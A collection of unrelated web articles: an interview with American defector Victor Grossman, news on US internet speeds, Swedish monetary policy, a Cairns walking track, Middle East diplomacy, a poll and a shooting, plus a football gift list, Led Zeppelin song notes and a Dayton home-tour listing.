he returned to the USA for the first time, where he was officially discharged from the army, 44 years after being enlisted. He remains today in Berlin and continues to write prolifically in German. In 2003 he published an English-language autobiography, Crossing the River: A Memoir of the American Left, the Cold War, and Life in East Germany. Regardless of what you think about his political convictions, Victor’s ideological steadfastness is impressive. In a way he seems to be a man out of time, which made me think that speaking with him could provide not just a window to the past, but a different context for viewing the present.  Victor near his apartment on Karl-Marx-Allee.  VICE: When did you first become disillusioned with capitalism? Was it a gradual progression or was it one event?  Victor Grossman: The 1930s were a left-wing period. My first recollection from a newsreel was the big sit-down strike in Flint, Michigan, which broke General Motors. I remember that and [what was happening in] Spain, the soup lines and college graduates selling apples on the corner to make a living. My father was an art dealer. Who buys art in depression times? It was often tight, but we never went hungry. We were never really down and out, especially because we had a bungalow in New Jersey in an experimental single-tax community called Free Acres. It was very simple; it had running cold water and no electricity. And it was wonderful, just wonderful. We ran around barefoot all day. It was like Huckleberry Finn. A lot of people living there were bohemians from New York and left-wingers. Some of the nicest people in that place were left-wingers who really determined my thinking.  You went to Harvard, but after graduation you started working in a factory. Why?  When I graduated Harvard, the Communist party secretary from Boston came to us and said, “You’ve got a Harvard diploma, but our party is supposed to be a workers’ party, and we don’t have enough workers. Have any of you considered becoming workers?” I was one of three people who said yes. I was provided with an address in Buffalo. I hitchhiked there and walked to this black neighbourhood. I came to this rundown wooden house, and on the porch was a middle-aged black lady in a rocking chair. I said, “I’m looking for Hattie Lumpkin, do you know where I can find her?” She said, “That’s me.” She was the head of Buffalo’s Communist Party.  Hattie’s place was Buffalo’s left-wing hub. The family her daughter had worked for had been leftists; they had asked her to sit at the table with them to eat. This was absolutely unheard of. She became a Communist. At first, Hattie had told her to get the hell out with her atheist ideas, but they argued and Hattie was convinced. Hattie’s place became my home away from home when I worked the awful graveyard shift at the factory.  Victor’s Harvard yearbook photo, 1949.  Did anyone at the factory find out that you were Ivy League-educated?  I didn’t tell anybody. One of my co-workers, who was known as “the intellectual”, asked me if I’d ever thought of going to college. I had to be careful. Of course, people noticed I was a little different. Also, being Jewish was rare in the factory. Most of the workers were Polish, Italian or German – and almost all were Catholic.  Then you were drafted into the army, which was a much more dangerous place for a Communist to be than a factory in upstate New York.  The draft began again in 1948 with the Korean War. At the same time, the Internal Security Act was passed, a law that said that members of the Communist party or its front organisations had to register with the police as foreign agents. For every day that you didn’t register, it was up to five years in prison. I got my draft notice in October of 1950. I quit my job and went back to New York. When you got drafted, you had to sign a statement: “I am not and have never been a member of the above organisations.” There were over 100 organisations listed – a couple of fascist and Nazi organisations, but 80 to 90 percent of them were left-wing organisations, some dating back to the 20s and 30s. I was in about a dozen of them. I thought, Should I sign this damn thing?  Would you have been excluded from the draft if you had admitted you were in those organisations?  Yeah, possibly, but I would have been liable. The whole atmosphere was extremely tense. Anybody with a left-wing view was considered an agent and a traitor. Many years later, I talked to this guy I had been with at Harvard who said, “You should have refused to sign.” He refused and said that it was against his constitutional rights. Years later, of course, the Supreme Court ruled the whole thing unconstitutional. But I was scared. I figured it was two years, and maybe if I kept my mouth shut, I would make it through. I was sent to Bavaria and given a job as a company clerk. It was an easy job, but then I made a mistake. When you go into the army, they give you tests to see what you’re good at. They had one for Morse code, and I did well on it. So I was given an offer to leave Bad Tölz and go to Munich to do radio work. I knew they might check me over, but of course it was hard to say no.  When I got to Munich, they didn’t put me on the radio work. I knew something was up, but I just had five or six months left and wanted to get through it. Then one day I got a letter telling me to report to a military judge because I was a member of six organisations. That’s when I panicked. I didn’t want to go to jail.  Victor interpreting for Jane Fonda at the International Documentary Film Week. Leipzig, Germany, 1974. Photo by Elke Thionke.  How did you cross over to East Germany?  I took the train to Austria, crossed over the border, and got in to Linz in the late evening and headed for the Danube. I didn’t dare ask anyone how to get to the river. I just kept walking in the direction that seemed right. Finally, I saw the river – it was about a quarter mile across. I threw my jacket and shoes into the water, because I thought I wouldn’t make it otherwise. I put my important papers in a pouch and started swimming. The tide pulled me in the right direction.  I expected Soviet soldiers to be waiting on the other side of the Iron Curtain, but it was totally empty. There was a road along the river. I waited until I was sure there was no one coming and started walking. I had no shoes and had torn my sleeves off to hide my military affiliation. In the afternoon, I was picked up by an Austrian cop. He took me to the police station. I said I wanted to speak to someone from Soviet command. They looked confused but called them anyway. A guy picked me up in a jeep. He asked me my name, where I came from, where I had been stationed, and delivered me to the Soviets. The first thing they said was, “What did you tell that guy that brought you here?” I told them. It turns out the guy who had brought me to the station reported me to the American side.  The officers drove me to the headquarters of the Soviet army. When I arrived, they locked me in a cell for two weeks. When they let me out, they took me to Potsdam and put me up in a very fine room – a really elegant place with a bed, a big desk, sofa and opaque glass windows you couldn’t see out of. I was kept there for two months. A Russian cook would bring me meals, and a uniformed guard would walk me to the bathroom. There were other people there, too, but I wasn’t allowed to talk to any of them. One day a guy passed my room whistling, “Yankee Doodle Dandy”. It was almost certainly an American, I thought.  After two months, I was taken to Bautzen – a town where the Soviets sent Western deserters. That’s where I spent my first two years. I got a job hauling lumber. After six months, the Soviets came to me and asked if I would be the cultural director for their clubhouse. I said yes. I ran chess, ping-pong and pool tournaments. I organised English classes, dances and movies. The Americans and the others looked at me as being on the side of the German Democratic Republic. It was very difficult. Eventually I applied to Leipzig to go to the university. I was interviewed and got in.  You earned a journalism degree from Karl Marx University. What was it like to be a journalist in the GDR? Was there a lot of censorship and repression?  I approved of the GDR but not blindly. There were dogmatic people and careerists and idiots at all levels. In the whole GDR period, you had two elements: the progressive and the stupid. I got used to it.  In 1956, after Khrushchev gave his speech about Stalin, there was lots of discussion and disagreement. At the journalism school, we had a student newspaper full of critical articles. Then came the Hungarian events. The Soviets got very scared and started tightening the screws. The next issue was very tame. There were periods when everything was more open, but never 100 percent. In 1964, you had a whole series of very good and very critical novels. Then at the end of ’65, Khrushchev was gone, and Brezhnev tightened the screws against all kinds of people. They stopped 11 films, kept them out of circulation. Later things eased up again, but then came the Czechoslovakian events in 1968, and they were tightened again.  The people I was most close to generally approved of socialism and the GDR as an antifascist state, with economic security for everybody. I saw all of the things you didn’t see in the States: medical care, free education, childcare, job security. At the same time, I could see that they were unable to sell the Soviet system to their own people properly. The leaders were a mixture of careerists and dogmatists who were ready to turn anyone who criticised them into an enemy. They alienated people unnecessarily.  In the West, they were more clever. They learned to sell not just toothpaste but politics, too. They never learned how to do this in the GDR, where they were still back in the 1930s, with the old dogmatic stuff. There were some people who tried really hard to break out of this. They often became foreign correspondents.  Victor with Hattie Lumpkin (far left) protesting nuclear weapons on a street in Buffalo, 1950.  In the years since, you were granted access to your Stasi [the GDR’s state security service] and FBI files? Who kept better tabs?  Yes, I’ve seen both, and I’m considering writing a book comparing them. In America, during the Second World War, if you heard something about the Nazis, you’d report it to the FBI. In the years that followed, if people heard about Communists, they reported them. The FBI had reports of things I said at a picnic. Now, it’s the Muslims.  The Stasi also watched me, obviously. In my lectures I used to be very openly critical of things I didn’t like, which was not so common. So they kept track of that. After a while, I wised up to the fact that they were keeping their eye on me. This sort of thing was very widespread, more widespread in East Germany than in the States, but it happened in the States too, and certainly in West Germany. It basically happens in every country, especially if that country feels threatened.  Having experienced McCarthyism, Stalinism, glasnost and now post-Soviet-era capitalism, how do they all compare? Is socialism still a viable ideological possibility for the future?  I still believe there has to be a socialist answer. Capitalism just doesn’t work. The gap between the very wealthy and everyone else is increasing all the time. But when it comes to a really big crisis, there is no party leading the charge like the old Communist parties tried to do. At the same time, the danger is that when it comes to a crisis point, if there’s not a strong left, then it will just turn to the extreme right, as it did here in ’33.  There is a growing neofascist movement in Germany right now. Does that worry you?  I think that’s by design. A lot of our political leaders may not like these Nazis, but I think they’re keeping them in reserve, because of the view that it’s better to have them than the left. Like in Spain: better Franco than the Popular Front. In the former East Germany, they’re much stronger. There are whole areas where a foreigner or a person with dark skin can’t go, including parts of Berlin. I think the big danger is that it could turn to the right again.  I know I won’t live to see any more major changes. But I get a kick every time I see something like what happened in Tahrir Square, or the Indignados in Spain or the Occupy movement. I hope we’ll see something like that in Germany.  Want to learn more about Communism?  Life in Communist Romania Was Rough  Nathan Farb Made Communism Look Groovy  Explaining China's National People's Congress
-Kansas City is getting super high-speed Internet thanks to Google, but the state with the fastest connection speeds may surprise you.  It's not California, home to Silicon Valley, or New York, with all of its research institutions. It's tiny Delaware.  Delaware had an average connection speed of 10.2 megabits per second in the first three months of 2012, according to Internet provider Akamai's quarterly State of the Internet study, released on Thursday.  Delaware has "historically been a very strong performer in the years we've been covering," said David Belson, director of market intelligence at Akamai. "One key reason is that it's fairly small state, which likely makes it easier to bring higher speed connectivity to a larger percentage of the population."  Delaware clocked in nearly 9% faster than the average speeds in New Hampshire, the state with the second-fastest Internet connections.  Vermont, Utah and Rhode Island round out the top five U.S. states.  At 3.6 Mbps, Arkansas is the state with the lowest average connection speed, Akamai (AKAM) found.  If it's any consolation to the Natural State, it's still moving faster than Libya, which averages a sluggish 0.5 Mbps. Other laggards include Montenegro (2.8 Mbps) and Australia (3.5 Mbps).  At an average speed of 6.7 Mbps, the United States ranks 12th in the world. Here's the good news: Connections are getting much faster. Each state's average speed increased by at least 9% compared with the fourth quarter of 2011.  "There's continued investment being made by both the telecoms as well as by the government," Belson said.  South Korea boasts the fastest Internet in the world, averaging a whopping 15.7 Mbps. That's actually down 1.5% from the last quarter of 2011.  Runner-up Japan and Hong Kong, in the number-three spot, trail far behind South Korea, with speeds of 10.9 and 9.3 Mbps, respectively.  Globally, the average Internet speed hit 2.6 Mbps, increasing 14% from last quarter.
-Earlier this year, Riksbank Deputy Governor Per Jansson expressed his displeasure with comments made in April of last year by everyone’s favorite Nobel laureate Paul Krugman. The dispute revolves around Sweden’s decision in 2010 to raise rates, a move Krugman says turned the country into a Japan-style deflationary deathtrap. To wit, from Krugman’s blog:  "In 2010 Sweden’s economy was doing much better than those of most other advanced countries. But unemployment was still high, and inflation was low. Nonetheless, the Riksbank — Sweden’s equivalent of the Federal Reserve — decided to start raising interest rates." "There was some dissent within the Riksbank over this decision. Lars Svensson, a deputy governor at the time — and a former Princeton colleague of mine — vociferously opposed the rate hikes. Mr. Svensson, one of the world’s leading experts on Japanese-style deflationary traps, warned that raising interest rates in a still-depressed economy put Sweden at risk of a similar outcome. But he found himself isolated, and left the Riksbank in 2013." "Sure enough, Swedish unemployment stopped falling soon after the rate hikes began. Deflation took a little longer, but it eventually arrived. The rock star of the recovery has turned itself into Japan."  Krugman went on to accuse the Riksbank of being a bunch of job-hating heretics who don’t believe that printing mountains of fiat currency solves economic problems and who are motivated by an overwhelming desire to perpetuate global inequality by enriching creditors at the expense of impoverished debtors. They are, Krugman said, sadomonetarists.  For his part, Per Jansson wasn’t particularly pleased with Krugman’s assessment, suggesting that he “write fewer articles and have more of a look at the data and then come back again.”  “I don’t know why he does that; it’s a mystery and it doesn’t make him come across as a guy who is very well informed,” Jansson added.  Why did Sweden start raising rates in 2010? Well, as we noted in March, “the bank’s actions were not indicative of an institution suffering from some psychotic desire to drive up unemployment and inflict pain upon the masses, they were in fact based on ‘normal things’ like inflation and a housing bubble and the fact that the rate of household credit expansion was running some 50% ahead of overall economic growth.”  In any event, Krugman needn’t have been concerned, because as you can see from the following, and as discussed here on Sunday evening, Sweden not only stopped hiking, but in fact plunged headlong into NIRPdom.  So one would think, if Krugman is correct, that cutting rates by 235 bps since 2011 all the way down to -0.35% would have things humming along nicely in terms of “healthy” inflation. Only, that’s not what’s happened. This is:  Meanwhile, the housing bubble and household credit expansion issues the Riksbank was so concerned about have predictably gotten far worse thanks to record low rates. To wit, from Bloomberg:  The worsening housing shortage -- exacerbated by record immigration -- and surging house prices reveal that deeper financial instability risks lie ahead. The combination of already too-high household debt and negative rates "may ultimately be very costly for the economy,'" the central bank said last week in its monetary policy report.  And as we saw earlier this month when the Riksbank remained on hold ahead of Mario Draghi, keeping a lid on krona strength (i.e. fighting to ensure that inflation doesn't crater) may turn out to be increasingly difficult going forward with the ECB widely expected to expand PSPP, meaning that ironically, once everyone goes full Keynes, it makes it ever more difficult for anyone to realize the benefits because one country's easing simply negates another's, necessitating still more easing by the first country, and around we go. Case in point, from Riksbank Governor Stefan Ingves: "...any rapid strengthening of krona would pose risk to inflation rise [so] Riksbank won’t be passive if ECB makes big changes in its policy."  Worse still, not only is Sweden bumping up against diminishing returns in its easing efforts, but as we discussed at length in July, for a time things had actually begun to move in the wrong direction, as investors fretted about the lack of market depth created by the Riksbank's QE program. “The financial conditions -- the currency and the bond yields -- are moving in the wrong direction,” Roger Josefsson, chief economist at Danske Bank A/S told Bloomberg. So in other words, even as risks associated with NIRP (e.g. excessive debt buildup and a worsening housing bubble) have materalized, some of expected benefits (e.g. rising inflation) have not, which certainly begs the question if the risk/reward profile associated with NIRP and expanded QE is still attractive.  Of course it's not all bad. Unemployment has fallen dramatically and GDP data from previous quarters was revised up in what Goldman called a "non-neglible way" on Friday.  But the question one has to ask here is this: what, ultimately, has ZIRP and then NIRP and QE actually done for Sweden? The effect on inflation has clearly been muted (the Riksbank's protestations aside) and the effect on the housing market has been to inflate what looks like a rather formidable bubble. Meanwhile, the global currency wars mean the upward pressure on the krona is likely to persist no matter what the Riksbank does. If we assume that GDP and unemployment would have, at least to some extent, improved on their own, one could quite plausibly make the argument that all Sweden has done with monetary policy since 2010 is embed an enormous amount of risk into the economy without getting much back.  Of course when that rather inconvenient suggestion is made, central bankers in the new normal almost always blame lawmakers or regulators or someone other than themselves and Sweden is apparently no different. Here, for instance, is what the bank had to say earlier this month:  "Low interest rates contribute to the trends of rising house prices and increasing indebtedness in the Swedish household sector continuing. Current debt levels already pose a substantial risk to the Swedish economy. It is thus essential that the Riksdag (the Swedish parliament), the Government and other authorities implement measures to reduce this risk. If no measures are taken, this, in combination with the low level of interest rates, will further increase the risks, which may ultimately be very costly for the economy."  As for Ingves, well, he's not optimistic (via FT):  Sweden’s central bank governor has warned that new crisis-busting tools policymakers are embracing around the world to counter asset bubbles and other financial dangers are susceptible to political inaction and turf wars. Stefan Ingves, governor of the Riksbank, said so-called macroprudential policies — such as capital requirements and leverage limits — had so far failed in Sweden where house prices and personal debt levels have soared to record levels. “Macroprudential, particularly if markets are going up, up, up is about saying ‘no’. Apparently that’s hard to do,” Mr Ingves said.  One could easily say the same thing about the Riksbank although, to be fair, the central bank would also be in control of macroprudential policy making if it had its way, but that doesn't exonerate NIRP. That is, we might replace one word from the quote above and get this: "sound money, particularly if markets are going up, up, up is about saying 'no' but apparently that's hard for central bankers to do." At least one banker in Stockholm agrees:  “To have such a low interest rate at the same time as Sweden has rather good economic growth and rapid increases in house prices — it seems crazy,” said one senior banker.  But Ingves has his story and he's sticking to it: “We deal with inflation, we keep an eye on the exchange rate, we do our best to reach our inflation target. But that means that somebody else has to deal with the problem we have in our housing market."  On that note, we'll close with the following from Lars Jonung, professor emeritus at Lund University, who told newspaper Dagens Nyheter the following:  “[The Riksbank] have lowered rates too much, absolutely. It creates meaningful financial risks and increases household debt. The danger is that it bursts just as it did in the US and Iceland.”  * * *  Bonus: As Krugman said last week in the Japanese context, countries "need to reach a point where everyone believes that they have pulled out of deflation. And then if that can be believed, then they may be able to stay out of trouble thereafter".  Do you "believe" in "hockeynesian" success stories? The Riksbank apparently does...
-FITNESS fanatics and nature lovers rejoice – the long-awaited Green Arrow walking track in Whitfield is finally open.  Today, Cairns Regional Council will officially open the path, created from a former network of “goat tracks” on previously privately owned land.  It will connect with the ­existing Blue Arrow, and traverse Mt Whitfield ridge to join with Whitfield’s Bel-air and East Parkridge drives.  media_camera Cairns councillor Linda Cooper has been instrumental in the creation of the Green Arrow walking track, due to open today. PICTURE: SUPPLIED  Some sections of the track reportedly offer walkers 360-degree views.  Touted as a way for locals and visitors to experience the tranquillity of the rainforest without leaving Cairns City, the 3.5km track has been more than four years in the making.  The total cost to the council, which also includes the upgrade of the existing Red and Blue Arrow walking tracks, is about $267,000.  Division 6 Councillor Linda Cooper, who was instrumental in the Green Arrow’s creation, said the bushland surrounding the path was very nearly sold for housing development.  “That piece of land ... up to four years ago was privately owned and I was made aware the owners had a development application with the council to build residences,” she said.  “The property came up for sale and ... myself and the CEO went through a process of ­acquisition and it became council land, rezoned from residential to open space.  “The scenic rim of our city is really important to protect those environmental values and to protect that green space.”  Bickering among State Government politicians over funding for the track after the last election marred the project slightly.  media_camera The view over Whitfield and Edge hill to Cairns CBD and Trinity Inlet from the Green Arrow track. PICTURE: STEWART McLEAN  The previous LNP Government had promised a “fully funded and costed allocation of $500,000” to create the path, but only if it was re-elected.  The new Labor Government, meanwhile, has said the funding was never there, and was dependent on the LNP raising revenue through selling state assets.  Cr Cooper said in July the council had progressed with work because the state funding was based on an election promise, rather than any contractual arrangement with the previous or current government.  She said the track would give locals and visitors another way to experience the “great outdoors”.  “It’s there to make the most of what’s already a commonly used exercise circuit,” she said.  “When tourists ask ‘where can I walk near the city?’, I know of a lot of hotels that point them to that area.  “A lot of airline staff also use that as their exercise route when they come to town.”  “It’s part of the ongoing preservation of that open- space area that the community can enjoy without impeding on private property.”
-We’re fast approaching that time of year again which means it’s time to whip out the credit cards and start your Christmas shopping. But what do you buy the football fan in your life? The chances are that a football related gift would go down a treat, but apart from the obvious club merchandise what else is there available? No matter whether you’re buying for your mum, dad, brother, sister, partner, best friend or any other football fan you know, here are some gift ideas that would be perfect to wrap up and put under the Christmas tree.  1) Football Manager 2015  Forget FIFA and Pro Evo, Football Manager is the best football gaming series available on the market. Fact! Every football fan claims that they can do better than the manager of their club, well now is there chance to prove it. Like in the previous Football Manager titles, Football Manager 2015 is the closest you can get to being a real life football manager, giving the player control over team selections, tactics, team-talks, transfers, training regimes, the list is endless. I guarantee that every football fan would be entertained for hours on end when they wake up with this game in their stocking come Christmas morning.  2) Football shirt styled kit bag  These football kit bags are the perfect present for the football fan who likes to stand out from the crowd. Made from recycled football shirts means that they are both stylish and environmentally friendly and are perfect for going to football training, a trip to the gym or a weekend away. A whole host of different designs are available to suit all tastes. As well as kit bags, there are also messenger style bags, shopping bags and lady’s handbags so there really is a bag for everybody.  3) Desktop mini football table  Everyone likes a game of table football no matter how young or old you are. Bring your living room to life this Christmas with this mini football game and even add that competitive edge with tournaments between family and friends.  4) The Nowhere Men  An obvious choice for a football book would be the current bestselling autobiography, however I think The Nowhere Men would be a more unique gift and an equally gripping read. Offering a fantastic insight into the world of the UK scouting network and winner of The Times British Sports Book Award 2014, it will be bound to please anybody who likes to read. A teenage boy plays football in a suburban park. His name is Raheem Sterling. The call is made: “Get down here quick. This is something special”. The Nowhere Men gives credit to the faceless and nameless football scouts who often make key decisions worth millions of pounds.  5) Gillette Soccer Saturday DVD  The boys at Soccer Saturday are what make Saturday afternoons so special for those who can’t make it to a match. This DVD compiles all the golden and hilariously funny moments from the past twenty years with unseen footage from Jeff Stelling, Chris ‘Unbelievable’ Kamara and the rest of the gang. The ultimate gift and stocking filler that will make all football fans laugh out loud.  6) Personalised Calendar-Football Star  If you’re thinking of buying that special someone a calendar this Christmas then look no further. Every football fan dreams of making it as a player and this calendar makes that dream come true. Fully customisable with first and last names and shirt number and colour, your loved one will see their name appear on the scoreboard, in the cup final line up and on the back pages of the newspaper.  7) Retro football shirt  Go back in time to the good old days with a retro styled football shirt. Grab a piece of history with Bobby Moore’s No6 England shirt just like the one he wore when he lifted the World Cup for England in 1966. Or maybe go for a shirt iconic in a club’s history. They’re really is a vast selection to choose from with domestic clubs, European and international clubs and even national teams available to choose from. Whatever you go the recipient will not be disappointed as each shirt is made to the highest quality. They’re not just football shirts, they’re pieces of history.  8) Subbuteo bottle opener  When watching football on the TV there’s only one thing that could make it better: watching the game with an ice cold bottle of beer. The problem is how to open that bottle beer, well here’s your answer, the Subbuteo bottle opener. Inspired by the original 1960’s Subbuteo figure this novelty yet practical piece of barware is the perfect gift for all football mad fans.  Please note I am not being endorsed by any company to promote their products, these are just items that I think would make good gifts for football fans. Also note that prices are correct at the time of publishing and may vary.
-The Swedish Embassy in Israel has softened its position regarding the recognition of Palestinian statehood, saying it favors peace negotiation to unilateral recognition of a Palestinian state, after an initial announcement by Sweden's new prime minister led to a diplomatic crisis with Israel.  Follow Ynetnews on Facebook and Twitter  In a new, more softly worded statement, the embassy said that, Sweden will recognize a Palestinian state at the end of negotiations between Israel and the Palestinians.  Related stories:  "As part of a statement on government policy, (Swedish Prime Minister Stefan Lofven said) that Sweden will recognize the State of Palestine.  Swedish Prime Minister Stefan Lofven (Photo: Reuters)  "The conflict between Israel and Palestine can only be resolved through a two-state solution… negotiated in accordance with the principles  The refined statement seems to indicate a solid support for Palestinian statehood, but only as part of negotiations with Israel which also take into account Israel concerns and positions.  The comments by Lofven, made during his first day in office, sparked a crisis between the two countires, and even the US weighed in, saying that the move was "premature".  Sweden's ambassador to Israel has been summoned for a reprimand meeting on Monday at the Foreign Ministry in Jerusalem, after Lofven made the announcement.  Foreign Minister Avigdor Lieberman said Saturday night that Lofven's announcement was unfortunate as he "likely has yet to have enough time to delve into matters and understand that the side which has been a spoiler for the past 20 years to advancing an agreement between Israel and the Palestinians – is the Palestinians."  Lieberman said that the "Swedish Prime Minister Lofven needs to understand that no declaration and no step by an outside player can replace the direct negotiations between the sides and a solution that will be part of a comprehensive agreement between Israel and the entire Arab world."  He added: "If the Swedish prime minister's inauguration speech is concerned with the situation in the Middle East, he would be better off focusing on the urgent problems in the area, like the daily mass killings in Syria, Iraq, and other places in the region."  Officials in Jerusalem are concerned by the Swedish declaration for a number of reasons – Sweden is the first major European country, party to the European Union, which has chosen to recognize Palestine as a state.
-Suggestion credit:  Graham - Atlanta, GA Robert Plant wrote the words to this acoustic song after reading a book on Scottish history. The lyrics are about the everlasting battle between night and day, which can also be interpreted as the battle between good and evil. >>  This is the only song Zeppelin ever recorded with a guest vocalist. Robert Plant felt he needed another voice to tell the story that plays out in the song, so Sandy Denny from Fairport Convention was brought in. Her vocals represent the people as the town crier, while Plant's voice is the narrator. Fairport Convention was a British folk group Zeppelin shared a bill with in 1970.  This collaboration with Sandy Denny marked the first time Robert Plant did a duet with a woman. In later years, he had tremendous success singing with Alison Krauss; their 2007 album Raising Sand won a Grammy award for Album of the Year.  Sandy Denny was given a symbol on the album sleeve - three pyramids - to thank her. The four members of Led Zeppelin each designed their own symbols for the album. Denny died in 1978 from a brain hemorrhage resulting from a fall down the stairs.  Jimmy Page wrote the music on a mandolin he borrowed from John Paul Jones. He explained to Guitar Player magazine in 1977: "On 'The Battle of Evermore,' a mandolin was lying around. It wasn't mine, it was Jonesey's. I just picked it up, got the chords, and it sort of started happening. I did it more or less straight off. But, you see, that's fingerpicking again, going back to the studio days and developing a certain amount of technique – at least enough to be adapted and used. My fingerpicking is a sort of cross between Pete Seeger, Earl Scruggs, and total incompetence."  Led Zeppelin rarely played this live, but when they did, John Paul Jones sang Sandy Denny's part.  Return Of The King, where the lyrics could describe the Battle of Pelennor ("The drums will shake the castle wall, The ring wraiths ride in black"). Plant is a huge Tolkien fan, and referred to his books in "Ramble On" and "Misty Mountain Hop." Suggestion credit:  Ollie C - Hampshire, England Many J.R.R. Tolkien fans see the lyrics as a reference to his book, where the lyrics could describe the Battle of Pelennor ("The drums will shake the castle wall, The ring wraiths ride in black"). Plant is a huge Tolkien fan, and referred to his books in "Ramble On" and "Misty Mountain Hop." >>  Lord Of The Rings things like Ringwraiths and most of the song can be interpreted to be about it if you choose. Suggestion credit:  Caleb - Christchurch, New Zealand A lot of this fits the battle of the Pelennor fields: "At last the sun is shining, The clouds of blue roll by" - as Sauron's army and influence advanced the sky darkened and when he lost this battle it became light again. But a lot doesn't fit to that particular battle/book, including the part about the angels of Avalon, as Avalon was not from Tolkien's world but the legends of Merlin and King Arthur. The song is not completely about that battle but there are references tothings like Ringwraiths and most of the song can be interpreted to be about it if you choose. >>  Suggestion credit:  Geno - North Riverside, IL The word "Avalon" is Latin for "place with apples," and here is the part of the song Avalon is mentioned - "I'm waiting for the angels of Avalon, waiting for the eastern glow. The apples of the valley hold the seeds of happiness," so it may just mean "I'm waiting for the angels of place with apples." >>
-A Reuters/Ipsos online poll asked Americans to rate how much of a threat a list of countries, organisations and individuals posed to the United States  Republicans see Obama as bigger threat than Putin and Assad, says poll  A third of Republicans believe President Barack Obama poses an imminent threat to the United States, outranking concerns about Russian President Vladimir Putin and Syrian President Bashar al-Assad.  A Reuters/Ipsos online poll this month asked 2,809 Americans to rate how much of a threat a list of countries, organisations and individuals posed to the United States on a scale of 1 to 5, with one being no threat and 5 being an imminent threat.  The poll showed 34% of Republicans ranked Obama as an imminent threat, ahead of Putin (25%), who has been accused of aggression in the Ukraine, and Assad (23%). Western governments have alleged that Assad used chlorine gas and barrel bombs on his own citizens.  Given the level of polarisation in American politics the results are not that surprising, said Barry Glassner, a sociologist and author of “The Culture of Fear: Why Americans are afraid of the wrong things.“  “There tends to be a lot of demonising of the person who is in the office,” Glassner said, adding that “fear mongering” by the Republican and Democratic parties would be a mainstay of the US 2016 presidential campaign.  “The TV media here, and American politics, very much trade on fears,” he said.  The Ipsos survey, done between March 16 and March 24, included 1,083 Democrats and 1,059 Republicans.  Twenty-seven percent of Republicans saw the Democratic Party as an imminent threat to the United States, and 22% of Democrats deemed Republicans to be an imminent threat.  People who were polled were most concerned about threats related to potential terror attacks. Islamic State militants were rated an imminent threat by 58% of respondents, and al Qaeda by 43%. North Korean Leader Kim Jong Un was viewed as a threat by 34%, and Iran’s Ayatollah Ali Khamenei by 27%.  Cyber attacks were viewed as an imminent threat by 39%, and drug trafficking was seen as an imminent threat by a third of the respondents.  Democrats were more concerned about climate change than Republicans, with 33% of Democrats rating global warming an imminent threat. Among Republicans, 27 percent said climate change was not a threat at all.  The data was weighted to reflect the U.S. population and has a credibility interval, a measure of accuracy, of plus or minus 2.1 percentage points for all adults (3.4 points for Democrats and 3.4 points for Republicans.)
-Students at the University of Maryland will have the chance to “engage fatness” next term as part of a “Fat Studies” course offered by the school's American Studies department.  “Introduction to Fat Studies” will not engage “fatness” as a social or medical problem, according to a syllabus for the course posted online. Instead, the course will approach fatness as “an aspect of human diversity, experience, and identity.”  The syllabus goes on to say that the course “will function as an introduction to the recent (and growing) field known as Fat Studies.” The field of Fat Studies, the syllabus claims, is “a field that is not concerned with the eradication of fatness, but with offering a sustained critique of anti-fat sentiment, discrimination, and policy.”  One assignment for the course requires students to read three articles with the tag “Fatshion” from xoJane.com, a website “where women go to be their unabashed selves.”  Another assignment requires students to “explore the National Association to Advance Fat Acceptance site.” The NAAFA, according to its website, aims to “provide fat people with the tools for self-empowerment through public education, advocacy, and support.”  Other reading material for the course includes an article titled “My wedding was perfect – and I was fat as hell the whole time,” and the “Fat Liberation Manifesto,” which labels diet books, diet foods, and diet doctors as “special enemies.”  The syllabus also includes a quote from self-described “fat activist” Marilyn Wann, claiming that Fat Studies “requires skepticism about weight-related beliefs that are popular, powerful, and prejudicial.”  The instructor for the course is fourth-year Ph.D. student Cassy Griff, who claims to focus her work “on discourses of excess as they apply to fat and Latina/o bodies.”  The course will be offered during the university’s Winter Term from January 4-22. According to the university website, students will receive a full three credits for taking the course.  Griff did not respond to Campus Reform’s request for comment.  Follow the author of this article on Twitter: @peterjhasson
-Huntsville skate park shooting  Huntsville police investigate a shooting Sunday, June 8, 2014, at the Huntsville Skate Park on Cleveland Avenue. (Contributed by WHNT News 19)  HUNTSVILLE, Alabama -- A man was shot at the Huntsville Skate Park on Cleveland Avenue Sunday night after he "threatened to shoot everyone" during an argument and fight that escalated to a shootout.  Witnesses told police on the scene said a photographer was using the skatepark bowl as a backdrop for photos, but got in an argument with the father of two children, described as ages 8 and 10, who wanted to use the area to skate.  The argument escalated into a physical fight, then one of the people involved in the fight went to a car and got a gun and "threatened to shoot everyone," according to a police report; the father then got his own gun and the two exchanged shots, according to witnesses on the scene.  A police report released Monday morning states that the father involved in the argument shot the man who was making threats. The shooter was not listed as having been charged in the police report, and the name of the man who was shot and is listed as the offender for "menacing" with a gun in the police report was not released.  Police Sgt. Marc Moon said the man who was shot was taken to the hospital with non-life threatening injuries. The other man was taken to the police station for questioning. Another person who was alert and did not appear in distress waited in the back of an ambulance for about 30 minutes before being taken to the hospital around 9 p.m.  There were several teens held at the scene for questioning.  Police sent an alert about a confirmed shooting at the site at the intersection of Cleveland and Church streets, 7:52 p.m. The city-owned skate park is open from dawn to dusk.  Police were still investigating at 9:25 p.m.  Updated at 7:50 a.m. with details from police report.  Updated at 8:54 p.m. and 9:25 p.m. with details from the scene.
-Join us on a guided walking tour through some of the most beautiful homes in Dayton. The Grafton Hill Historic District is rich with history, gorgeous architecture, and wonderful neighbors. Enjoy beautiful holiday decor and refreshments as you travel through some of our City’s most notable homes! The tour will take approximately 3 hours with refresments and warm beverages served at one of our homes featuring 3 decorated floors and 20 Christmas trees! Tickets available here or the day of the event as space allows.  Please select one fo the following tour times: 12:00 PM, 12:40 PM, 4:00 PM & 4:40 PM*  *Please arrive 15 minutes before your tour time, as tours will leave promptly at their start time.  PARKING: Available throughout the neighborhood and at The Greater Love Fellowship parking lot located at 235 Superior Avenue, Dayton, Ohio 45406.  TOUR STARTING POINT: Please arrive 15 minutes before your tour time. All tours will leave on time. Please meet at the Tour Starting Point: 221 Belmonte Park E., Dayton, Ohio 45405  Special thanks to our community sponsors: Grandview Medical Center, Square One Salon and Spa, Mikesell's Snack Food Co., Houser Asphalt & Concrete, Annunciation Greek Orthodox Church, Furst Florist, Reichard Buick GMC, Agnes and Orson Gifts & Goods, Dayton Art Institute, Ed Smith Flowers, St. Anne's Hill Historical Society & Vintage Scout Interiors/Debbie Basnett.  FAQs  What are my transport/parking options getting to the event?  Parking is available throughout the neighborhood and at The Greater Love Fellowship parking lot located at 235 Superior Avenue, Dayton, Ohio 45406 (Just one block from Tour Starting Point)  Where can I contact the organizer with any questions?  For more information or tickets offline, you can call 